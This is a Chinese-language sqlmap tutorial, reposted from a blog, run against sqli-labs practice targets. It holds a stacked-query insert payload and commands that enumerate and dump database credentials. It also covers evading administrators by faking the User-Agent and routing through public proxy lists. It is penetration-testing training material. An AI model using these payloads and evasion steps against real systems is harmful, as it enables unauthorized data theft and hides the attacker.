0


SQLMAP的使用

**一、SQLMAP 介绍 **

**1、SQLMAP 简介 **

SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

官方网站下载 http://sqlmap.org/

**2、SQLMAP 支持的注入类型 **

**sqlmap 支持 5 种漏洞检测类型: **

**1. **基于布尔的盲注检测

**2. ****基于时间的盲注检测 **

**3. ****基于错误的检测 **

**4. ****基于 union 联合查询的检测 **

**5. **基于堆叠查询的检测


**拓展:堆叠查询注入 Less-38 **

http://192.168.1.63/sqli-labs/Less-38/?id=1**';****insert into users(id,username,password) **

**values ('66','root','123')--+ **

**使用;分号来直接添加一条新的 SQL 语句来进行执行就是堆叠查询注入。 **

例:


**3、运行 sqlmap **

Kali 中运行 sqlmap 的方式


**其实这种方法其实就是在终端执行了 sqlmap -h 这样一条命令 **

**└─# sqlmap -h **


**4、SQLMAP 常用参数介绍 **

**sqlmap --version #查看 sqlmap 版本信息. **

**-h #查看功能参数(常用的) **

**-hh #查看所有的参数 (如果有中文包 就最好了) **

**-v #显示更详细的信息 一共 7 级, 从 0-6.默认为 1, 数值越大,信息显示越****详细. **

**Target #(指定目标): **

**-d #直接连接数据库侦听端口,类似于把自己当一个客户端来连接. **

**-u #指定 url 扫描,但 url 必须存在查询参数. 例: xxx.php?id=1 **

**-l #指定 logfile 文件进行扫描,可以结合 burp 把访问的记录保存成一个****log 文件, sqlmap 可以直接加载 burp 保存到 log 文件进行扫描 **

**-m #如果有多个 url 地址,可以把多个 url 保存成一个文本文件 -m 可以加载****文本文件逐个扫描 **

**-r #把 http 的请求头,body 保存成一个文件 统一提交给 sqlmap,sqlmap****会读取内容进行拼接请求体 **

**--timeout #指定超时时间 **

**--retries #指定重试次数 **

**--skip-urlencode ****#不进行 URL 加密**

二、SQLMAP 常用探测方式

**1、探测单个目标 **

**选项:-u 或者--url **

**针对单个 URL 进行 SQL 注入探测 **


┌──(root💀kali)-[~]

└─# sqlmap -u "http://192.168.1.103/sqli-labs/Less-1/?id=1"

**2、探测多个目标 **

**新建一个文本文件插入 3 条 URL 地址 **

┌──(root💀kali)-[~]

└─#
vim xuegod.txt

http://192.168.1.103/sqli-labs/Less-1/?id=1

http://192.168.1.103/sqli-labs/Less-2/?id=1

http://192.168.1.103/sqli-labs/Less-3/?id=1

**└─# sqlmap -m xuegod.txt --dbs --users **

**-m #指定文件进行探测 **

**--dbs #探测可用数据库名称 **

**--users #探测数据库用户名称 **

**无交互,使用默认方式进行探测。 **

**└─# sqlmap -m xuegod.txt --dbs --users ****--batch **

**--batch #参数可以在探测过程中不使用交互式信息来询问我们是否继续探测。一切都使用默认 **

配置。

**3、从文件加载 HTTP 请求进行探测 **

**-r 用来指定 HTTP 请求文件 **

**1、首先打开 burpsuite,关闭 intercept 功能。 **

**2、打开浏览器,访问 http://192.168.1.102/sqli-labs/Less-20/,并在 Username 输入 admin, **

Password 输入 admin,并提交。


注:****我们需要抓取登录以后存在 cookie 的 HTTP 请求


   ┌──(root💀kali)-[~] 
  

└─# vim cookie.txt

GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 192.168.1.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.102/sqli-labs/Less-20/
Connection: close
Cookie: uname=admin
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

**└─# sqlmap -r cookie.txt --level 3 --batch dbs **

--level 检测级别,取值(1-5)默认情况下 Sqlmap 会测试所有 GET 参数和 POST 参数,当 level大于等于 2 时会测试 cookie 参数,当 level 大于等于 3 时会测试 User-Agent 和 Referer,当 level=5时会测试 Host 头

**4、从 burpsuite 日志记录中进行探测 **

**Burpsuite 开启日志记录 **

**浏览器中访问几个页面进行测试 **

**http://192.168.1.63/sqli-labs/Less-1/?id=1 **

**http://192.168.1.63/sqli-labs/Less-2/?id=1 **

**http://192.168.1.63/sqli-labs/Less-3/?id=1 **

**http://192.168.1.63/sqli-labs/Less-4/?id=1 **

**全部点击放行 **



**使用日志文件进行探测 **

└─# sqlmap -l burpsuite.txt --leve 3 --dbs --batch


**5、检测 SQL 注入漏洞存在的技术类型 **

**--technique=TECH SQL injection techniques to use (default "BEUSTQ") **

--technique

**B: Boolean-based blind(布尔盲注) **

**E: Error-based(报错注入) **** **

**U: Union query-based(联合查询注入) **

**S: Stacked queries(文件系统,操作系统,注册表相关注入) **

**T: Time-based blind(时间盲注) **

**默认全部使用 **

**注:当使用 sqlmap 要读取目标系统上文件,或对目标系统进行指令的操作,或者对读取目标系统 **

注册表(windows)的话,需要使用 S。


**例 1:指定使用布尔型探测 **

└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --technique=B --batch

**6、枚举数据库信息 **

**--dbs #枚举数据库名称 **

**--tables #枚举表名称 **

--columns #枚举字段名称


**例 1:获取数据库名称 **

**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dbs **

例 2:获取表名称


**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables **

**-D **

#指定数据库进行枚举表名称

**例 3:获取字段名称 **

**获取 security 数据库中 users 表中的字段名称 **


**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security -T users -- **

**columns **


**获取 security 数据库中所有表的字段名称 **


**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables -- **

columns



**例 4:获取字段数据 **

**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dump -D security -T **

**users -C "username,password" **

**--dump #转储获取到的数据库信息。 **

-C #指定字段



三、SQLMAP 请求参数

**1、默认的请求参数 **

打开 WireShark 关闭混杂模式进行抓包,捕获过滤器:192.168.1.102

**执行探测任务 **


┌──(root💀kali)-[~] 

└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --batch

执行完成后停止抓包

     ![](https://img-blog.csdnimg.cn/aad39461ddec4f678d0ed52c6800c161.png)

**可以看到默认的 User-Agent 为:User-Agent: ****sqlmap/1.5.2#stable (http://sqlmap.org)\r\n **

SQLMAP 的特征非常明显,网站管理员可以通过这些明显的特征对我们的访问进行过滤。

**2、修改默认请求参数 **

**例 1:手动指定请求参数 **

**└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 **

**(X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch **

--user-agent #手动指定 User-Agent 内容


例 2:随机修改请求参数

**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --random-agent --batch **

3、使用代理进行探测

使用代理进行探测时,是不能够探测内网目标的,除非目标在公网也能够正常访问。

┌──(root💀kali)-[~]

**└─# sqlmap -u "IP" --proxy **

**"http://49.86.177.212:9999" --delay="1" --random-agent --batch **

**例 2:使用多个代理地址进行探测 **

**新建代理列表文件,填写多个代理地址。 **


**└─# vim proxy.txt **

**http://36.248.132.30:9999 **

**http://123.54.47.101:9999 **

**http://114.239.150.47:9999 **

**http://58.253.158.122:9999 **

**http://49.89.143.236:9999 **


└─# sqlmap -u "IP" --proxy

**file=/root/proxy.txt --delay 1 --random-agent --batch **

--proxy-file 指定代理文件




**4、忽略未验证错误 **

**参数: **

**--ignore-401 #忽略未验证错误 **

**为什么要忽略错误呢? **

**原因是我们测试存在 HTTP 认证的网站时会提示我们输入用户名密码,如果没有输入密码会返回 **

**401 错误,所以这个时候如果需要继续探测就需要忽略该错误。 **

5、sqlmap 安全模式

如果执行了一定数量的不成功请求,则 Web 应用程序或其间的检查技术会破坏会话。这可能发生在sqlmap 的检测阶段或利用任何 SQL 盲注类型时。原因是 SQL 有效负载不一定返回输出,因此可能被应用程序会话管理或检查技术检测到从而破坏会话。


**--safe-url #测试期间经常访问的 URL 地址。 **

**--safe-post #HTTP POST 数据发送到给定的安全 URL 地址。 **

**--safe-req #从文件加载并使用安全的 HTTP 请求。 **

**--safe-freq #在两次访问给定安全位置之间测试请求。 **


**sqlmap 将访问每个预定义数量的请求,而不对 safe url 执行任何类型的注入。 **


**6、关闭 URL 编码 **

**参数: **

**--skip-urlencode **

#这种情况用于后端服务器不遵循 RFC 标准(URL 编码的标准)并要求

数据以非编码方式进行传输。

标签: 安全 sql 数据库

本文转载自: https://blog.csdn.net/m0_58001548/article/details/129847287
版权归原作者 whhc 所有, 如有侵权,请联系我们删除。

“SQLMAP的使用”的评论:

还没有评论